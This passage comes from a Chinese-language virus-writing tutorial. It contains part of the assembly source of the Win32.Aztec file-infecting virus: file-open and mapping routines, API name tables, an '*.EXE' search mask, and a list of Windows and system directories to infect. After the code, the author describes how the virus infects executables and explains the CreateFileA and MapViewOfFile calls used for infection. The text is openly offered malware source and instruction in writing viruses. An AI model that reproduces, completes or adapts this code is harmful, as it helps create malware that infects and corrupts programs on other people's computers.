 ; ?如果函数调用失败,返回值是0。想要知道详细的错误信息,调用GetLastError函数。
 ;                                                                          ;
 ;---------------------------------------------------------------------------

 ; 输入:
 ;      ESI - 指向要打开的文件的名字
 ; 输出:
 ;      EAX - 如果成功是文件的句柄。

OpenFile        proc
        xor     eax,eax
        push    eax
        push    eax
        push    00000003h
        push    eax
        inc     eax
        push    eax
        push    80000000h or 40000000h
        push    esi
        call    [ebp+_CreateFileA]
        ret
OpenFile        endp

 ;---------------------------------------------------------------------------
 ; CreateFile 函数创建或打开下面的对象,并返回一个可以访问这个对象的句柄:
 ;                                                                          
 ;      + 文件 (我们只对这个感兴趣)                        
 ;      + pipes                                                             
 ;      + mailslots                                                         
 ;      + communications resources                                          
 ;      + disk devices (Windows NT only)                                    
 ;      + consoles                                                          
 ;      + directories (open only)                                           
 ;                                                                          
 ; HANDLE CreateFile(                                                       
 ;   LPCTSTR lpFileName, //  指向文件的名字
 ;   DWORD dwDesiredAccess,      // 访问 (读-写) 模式
 ;   DWORD dwShareMode,  // 共享模式
 ;   LPSECURITY_ATTRIBUTES lpSecurityAttributes, // 指向安全属性
 ;   DWORD dwCreationDistribution,       // 怎么创建
 ;   DWORD dwFlagsAndAttributes, // 文件属性
 ;   HANDLE hTemplateFile        // 要复制的属性的文件的句柄
 ;  );                                                                      
 ;                                                                          
 ; 参数
 ; ====
 ;                                                                          
 ; ?lpFileName: 指向一个以NULL结尾的字符串,这个字符串指定要创建或打开的对象(文件,
 ;    管道, 邮槽, 通信资源, 磁盘设备, 控制台, 或目录)的名字。
 ;    如果*lpFileName 是一个路径,就有一个缺省的路径字符个数的MAX_PATH个数限制,
 ;    这个限制和CreateFile函数怎么解析路径有关。
 ;                                                                         
 ; ?dwDesiredAccess: 指访问的对象的类型。一个应用程序可以获得读访问,写访问,读-写
 ;   访问,或者设备查询访问。
 ;                                                                          
 ; ?dwShareMode: 设置一些标志来指定对象是怎么共享的。如果dwShareMode是0,这个对象
 ;   就不能关系。随后的对这个对象的打开操作也会失败,直到句柄被关闭。
 ;                                                                       
 ; ?lpSecurityAttributes: 指向一个 SECURITY_ATTRIBUTES 结构,来确定返回的句柄是
 ;   否能从子进程继承。如果lpSecurityAttributes是NULL,句柄就不能继承。
 ;                                                                          
 ; ?dwCreationDistribution: 指对文件采取已知的什么行动,和未知的行动。
 ;                                                                          
 ; ?dwFlagsAndAttributes: 指文件的属性和标志。
 ;                                                                          
 ; ?hTemplateFile:指用GENERIC_READaccess 访问一个模板文件的句柄。这个模板文件在
 ;   文件创建的时候提供文件属性和扩展的属性。Windows 95:这个值必须为NULL。如果你
 ;   在Windows 95下提供一个句柄,这个调用会失败而且GetLastError返回
 ;   ERROR_NOT_SUPPORTED。
 ;                                                                          
 ; 返回值    
 ; ======
 ;                                                                          
 ; ?如果函数成功了,返回值是一个打开的指定文件的句柄。如果指定的文件在函数调用前存
 ;   在和dwCreationDistribution是CREATE_ALWAYS 或 OPEN_ALWAYS的时候,一个调用
 ;   GetLastError 函数会返回 ERROR_ALREADY_EXISTS(甚至函数成功了)。如果文件在 
 ;   调用之前不存在,GetLastError将返回0。
 ; ?如果函数失败了,返回值是INVALID_HANDLE_VALUE。为了获取信息的错误信息,调用GetLastError。
 ;---------------------------------------------------------------------------

 ; 输入:
 ;      ECX - 映射大小
 ; 输出:
 ;      EAX - 如果成功为映射句柄

CreateMap       proc
        xor     eax,eax
        push    eax
        push    ecx
        push    eax
        push    00000004h
        push    eax
        push    dword ptr [ebp+FileHandle]
        call    [ebp+_CreateFileMappingA]
        ret
CreateMap       endp

 ;---------------------------------------------------------------------------
 ; CreateFileMapping 函数为指定文件创建一个命名的或未命名的文件映射对象。
 ;                                                                          
 ; HANDLE CreateFileMapping(                                                
 ;   HANDLE hFile,       // 要映射的文件的句柄
 ;   LPSECURITY_ATTRIBUTES lpFileMappingAttributes, // 可选安全属性
 ;   DWORD flProtect,    // 为映射对象保护
 ;   DWORD dwMaximumSizeHigh,    // 32位对象大小的高位
 ;   DWORD dwMaximumSizeLow,     // 32位对象大小的低位
 ;   LPCTSTR lpName      // 文件映射对象的名字
 ;  ); 
 ;
 ; 参数
 ; ====           
 ;                                                                          ;
 ; ?hFile: 指从哪个文件创建映射对象。这个文件必须以和由flProtect参数指定的包含标
 ;   志相兼容的访问模式打开。建议,虽然不是必须,你打算映射的文件应该以独占方式打
 ;   开。
 ;   如果hFile 是 (HANDLE)0xFFFFFFFF,调用进程还必须在dwMaximumSizeHigh和
 ;   dwMaximumSizeLow参数中指定映射对象的大小。这个函数是通过操作系统的页文件
 ;   而不是文件系统中的命名文件来创建一个指定大小的文件映射对象的。文件映射对象
 ;   可通过复制,继承或命名来共享。
 ;                                                                          
 ; ?lpFileMappingAttributes: 指向一个SECURITY_ATTRIBUTES 结构,决定返回的句柄是
 ;   否可以被子进程继承。如果lpFileMappingAttributes 是NULL,句柄就不能被继承。
 ;                                                                          
 ; ?flProtect: 指定当文件被映射的时候文件需要的保护。
 ;                                                                          
 ; ?dwMaximumSizeHigh: 指定文件映射对象的32位最大大小的高位。
 ;                                                                          
 ; ?dwMaximumSizeLow: 指定文件映射对象的32位最大大小的低位。如果这个参数和
 ;   dwMaximumSizeHig为0,那么文件映射对象的最大大小等于有hFile确定的文件的
 ;   当前大小。
 ;                                                                          
 ; ?lpName: 指向一个NULL结尾的字符串来指定映射对象的名字。这个名字可以包含除了反
 ;   斜线符号(\)之外的所有字符。
 ;   如果这个参数和已经存在的命名了的映射对象的名字相同,这个函数请求通过由flProtect
 ;   指定的保护来访问映射对象。
 ;   如果参数是NULL,映射对象就不通过命名创建。
 ;                                                                          
 ; 返回值
 ; ======
 ;                                                                          
 ; ?如果函数成功,返回值是一个文件映射对象的句柄。如果在调用这个函数之前对象已经
 ;   存在了,GetLastError 函数将返回 ERROR_ALREADY_EXISTS,而且返回值是一个已
 ;   经存在的文件映射对象(由当前的大小,而不是新的指定大小)的合法句柄。如果映射
 ;   对象不存在,GetLastError返回0。
 ; ?如果函数失败,返回值是NULL。想要知道详细的错误信息,调用GetLastError函数。
 ;---------------------------------------------------------------------------

 ; input:
 ;      ECX - Size to map
 ; output:
 ;      EAX - MapAddress if succesful

MapFile         proc
        xor     eax,eax
        push    ecx
        push    eax
        push    eax
        push    00000002h
        push    dword ptr [ebp+MapHandle]
        call    [ebp+_MapViewOfFile]
        ret
MapFile         endp

 ;---------------------------------------------------------------------------
 ; MapViewOfFile函数映射一个文件视图到调用进程的地址空间中去。
 ;                                                                         
 ; LPVOID MapViewOfFile(                                                    
 ;   HANDLE hFileMappingObject,  // 要映射的文件映射对象             
 ;   DWORD dwDesiredAccess,      // 访问模式                             
 ;   DWORD dwFileOffsetHigh,     // 32位文件偏移地址的高位      
 ;   DWORD dwFileOffsetLow,      // 32位文件偏移地址的低位       
 ;   DWORD dwNumberOfBytesToMap  // 要映射的字节数                  
 ;  );                                                                      
 ;                                                                          
 ;                                                                          
 ; 参数  
 ; ====
 ;                                                                          
 ; ?hFileMappingObject: 指定一个打开的文件映射对象的句柄。CreateFileMapping 和 
 ;   OpenFileMapping函数返回这个句柄。 
 ;                                                                          
 ; ?dwDesiredAccess: 指访问文件视图的类型,而且因此页的保护由这个文件映射。
 ;                                                                          
 ; ?dwFileOffsetHigh: 指映射开始的偏移地址的高32位。
 ;                                                                          
 ; ?dwFileOffsetLow: 指映射开始的偏移地址的低32位。
 ;                                                                          
 ; ?dwNumberOfBytesToMap: 指文件映射的字节数。如果dwNumberOfBytesToMap是0,那么
 ;   整个文件将被映射。
 ;                                                                          
 ; 返回值
 ; ======
 ;                                                                          
 ; ?如果函数调用成功,返回值是映射视图开始的地址。
 ; ?如果函数调用失败,返回值是NULL。想要知道详细的错误信息,调用GetLastError。
 ;---------------------------------------------------------------------------

mark_   db      "[Win32.Aztec v1.01]",0
        db      "(c) 1999 Billy Belcebu/iKX",0

EXE_MASK        db      "*.EXE",0

infections      dd      00000000h
kernel          dd      kernel_

@@Namez                 label   byte

@FindFirstFileA         db      "FindFirstFileA",0
@FindNextFileA          db      "FindNextFileA",0
@FindClose              db      "FindClose",0
@CreateFileA            db      "CreateFileA",0
@SetFilePointer         db      "SetFilePointer",0
@SetFileAttributesA     db      "SetFileAttributesA",0
@CloseHandle            db      "CloseHandle",0
@GetCurrentDirectoryA   db      "GetCurrentDirectoryA",0
@SetCurrentDirectoryA   db      "SetCurrentDirectoryA",0
@GetWindowsDirectoryA   db      "GetWindowsDirectoryA",0
@GetSystemDirectoryA    db      "GetSystemDirectoryA",0
@CreateFileMappingA     db      "CreateFileMappingA",0
@MapViewOfFile          db      "MapViewOfFile",0
@UnmapViewOfFile        db      "UnmapViewOfFile",0
@SetEndOfFile           db      "SetEndOfFile",0
                        db      0BBh

                        align   dword
virus_end               label   byte

heap_start              label   byte

                        dd      00000000h

NewSize                 dd      00000000h
SearchHandle            dd      00000000h
FileHandle              dd      00000000h
MapHandle               dd      00000000h
MapAddress              dd      00000000h
AddressTableVA          dd      00000000h
NameTableVA             dd      00000000h
OrdinalTableVA          dd      00000000h

@@Offsetz               label   byte
_FindFirstFileA         dd      00000000h
_FindNextFileA          dd      00000000h
_FindClose              dd      00000000h
_CreateFileA            dd      00000000h
_SetFilePointer         dd      00000000h
_SetFileAttributesA     dd      00000000h
_CloseHandle            dd      00000000h
_GetCurrentDirectoryA   dd      00000000h
_SetCurrentDirectoryA   dd      00000000h
_GetWindowsDirectoryA   dd      00000000h
_GetSystemDirectoryA    dd      00000000h
_CreateFileMappingA     dd      00000000h
_MapViewOfFile          dd      00000000h
_UnmapViewOfFile        dd      00000000h
_SetEndOfFile           dd      00000000h

MAX_PATH                equ     260

FILETIME                STRUC
FT_dwLowDateTime        dd      ?
FT_dwHighDateTime       dd      ?
FILETIME                ENDS

WIN32_FIND_DATA         label   byte
WFD_dwFileAttributes    dd      ?
WFD_ftCreationTime      FILETIME ?
WFD_ftLastAccessTime    FILETIME ?
WFD_ftLastWriteTime     FILETIME ?
WFD_nFileSizeHigh       dd      ?
WFD_nFileSizeLow        dd      ?
WFD_dwReserved0         dd      ?
WFD_dwReserved1         dd      ?
WFD_szFileName          db      MAX_PATH dup (?)
WFD_szAlternateFileName db      13 dup (?)
                        db      03 dup (?)

directories             label   byte

WindowsDir              db      7Fh dup (00h)
SystemDir               db      7Fh dup (00h)
OriginDir               db      7Fh dup (00h)
dirs2inf                equ     (($-directories)/7Fh)
mirrormirror            db      dirs2inf

heap_end                label   byte

 ;---------------------------------------------------------------------------
 ; 上面所有的都是病毒要使用的数据;)
 ;---------------------------------------------------------------------------

; First generation host

fakehost:
        pop     dword ptr fs:[0]                ; 清除堆栈
        add     esp,4
        popad
        popfd

        xor     eax,eax                         ; 用第一次生成的无聊的信息显示MessageBox 
        push    eax                             
        push    offset szTitle
        push    offset szMessage
        push    eax
        call    MessageBoxA

        push    00h                             ; 终止第一次生成
        call    ExitProcess

end     aztec
;------到这儿为止剪切-------------------------------------------------------

     好了,我认为关于这个病毒我已经解释得够清楚了。它只是一个简单的直接行为(运行期)病毒,能够在所有的Win32平台上工作,而且在当前目录,windows目录和系统目录上感染5个文件。它没有任何隐藏自己的机制(因为它是一个示例病毒),而且我想它能够被所有的反病毒软件检测到。所以它不值得改变字符串并声称是它的作者。你应该自己做。因为我知道病毒的一些部分还不够清晰(如那些调用API函数,如完成一个任务用的值),下面就简要地列举出怎么调用一些API来做具体地事情。

-> 怎么打开一个文件进行读写?

我们用来做这个的API是CreateFileA。建议参数如下:

        push    00h                             ; hTemplateFile
        push    00h                             ; dwFlagsAndAttributes
        push    03h                             ; dwCreationDistribution
        push    00h                             ; lpSecurityAttributes
        push    01h                             ; dwShareMode
        push    80000000h or 40000000h          ; dwDesiredAccess
        push    offset filename                 ; lpFileName
        call    CreateFileA

 + hTemplateFile, dwFlagsAndAttributes 和 lpSecurityAttributes 应该为0。

 + dwCreationDistribution, 有一些有趣的值。 它可以为:

 CREATE_NEW        = 01h 
 CREATE_ALWAYS     = 02h
 OPEN_EXISTING     = 03h
 OPEN_ALWAYS       = 04h
 TRUNCATE_EXISTING = 05h

    当我们想要打开一个已经存在的文件的时候,我们使用OPEN_EXISTING,即03h。如果我们因为病毒的需要而要打开一个模板文件,我们在这里将要使用另外一个值,如CREATE_ALWAYS。

+ dwShareMode 应该为 01h, 总之,我们可以从下面的值中选择:

 FILE_SHARE_READ   = 01h
 FILE_SHARE_WRITE  = 02h

所有文我们让其它人读我们打开的文件,但是不能写!

 + dwDesiredAccess 处理访问文件的选择。 我们使用 C0000000h,因为它是GENERIC_READ 和 GENERIC_WRITE的和,那就意味着我们两个访问方式都要:)下面你得到:

 GENERIC_READ      = 80000000h
 GENERIC_WRITE     = 40000000h

** 如果有一个失败,这个调用CreateProcess将会返回给我们0xFFFFFFFF;如果没有任何失败,它将返回给我们打开文件的句柄,所以,我们将它保存到相关变量中。要关闭那个句柄(需要的时候)使用CloseHandle这个API函数。

 -> 怎样创建一个打开文件的映射?

    要用到的API是CreateFileMappingA。建议的参数为:    

        push    00h                             ; lpName
        push    size_to_map                     ; dwMaximumSizeLow
        push    00h                             ; dwMaximumSizeHigh
        push    04h                             ; flProtect
        push    00h                             ; lpFileMappingAttributes
        push    file_handle                     ; hFile
        call    CreateFileMappingA

 + lpName 和 lpFileMappingAttributes 建议为 0。
 + dwMaximumSizeHigh 应该为 0 除非当 dwMaximumSizeLow < 0xFFFFFFFF
 + dwMaximumSizeLow 是我们想要映射的大小
 + flProtect 可以为如下的值:

 PAGE_NOACCESS     = 00000001h
 PAGE_READONLY     = 00000002h
 PAGE_READWRITE    = 00000004h
 PAGE_WRITECOPY    = 00000008h
 PAGE_EXECUTE      = 00000010h
 PAGE_EXECUTE_READ = 00000020h
 PAGE_EXECUTE_READWRITE = 00000040h
 PAGE_EXECUTE_WRITECOPY = 00000080h
 PAGE_GUARD        = 00000100h
 PAGE_NOCACHE      = 00000200h

    我建议你使用PAGE_READWRITE,那个在映射时读或写不出现问题。

 + hFile 是我们想要映射的先前打开的句柄。

 ** 如果失败了,调用这个API函数会返回给我们一个NULL值;否则将会返回给我们映射句柄。我们将把它保存到一个变量中以备后用。要关闭一个映射句柄,要调用的API应该为CloseHandle。

 -> 怎么能映射文件?

    应该用MapViewOfFile这个API函数,它的建议参数如下:

        push    size_to_map                     ; dwNumberOfBytesToMap
        push    00h                             ; dwFileOffsetLow
        push    00h                             ; dwFileOffsetHigh
        push    02h                             ; dwDesiredAccess
        push    map_handle                      ; hFileMappingObject
        call    MapViewOfFile

 + dwFileOffsetLow 和 dwFileOffsetHigh 应该为 0
 + dwNumberOfBytesToMap 是我们想要映射的文件的字节数
 + dwDesiredAccess 可以为如下值:

 FILE_MAP_COPY     = 00000001h
 FILE_MAP_WRITE    = 00000002h
 FILE_MAP_READ     = 00000004h

 我建议 FILE_MAP_WRITE。

 + hFileMappingObject  应该为映射句柄( Mapping  Handle ), 由先前调用的CreateFileMappingA函数返回。

 ** 如果失败,这个 API  将会返回给我们NULL, 否则它将返回给我们映射地址(Mapping Address)。所以,从那个映射地址,你可以访问映射空间的任何地方,并进行你想要的修改:)为了关闭那个映射地址,应该用UnmapViewOfFile这个API。

 -> 怎么关闭文件句柄和映射句柄?

    OK,我们必须使用CloseHandle这个API。

        push    handle_to_close                 ; hObject
        call    CloseHandle

 ** 如果关闭成功, 它返回 1。

 -> 怎么关闭映射地址?

    你应该使用UnmapViewOfFile。

        push    mapping_address                 ; lpBaseAddress
        call    UnmapViewOfFile

 ** 如果关闭成功,它返回1。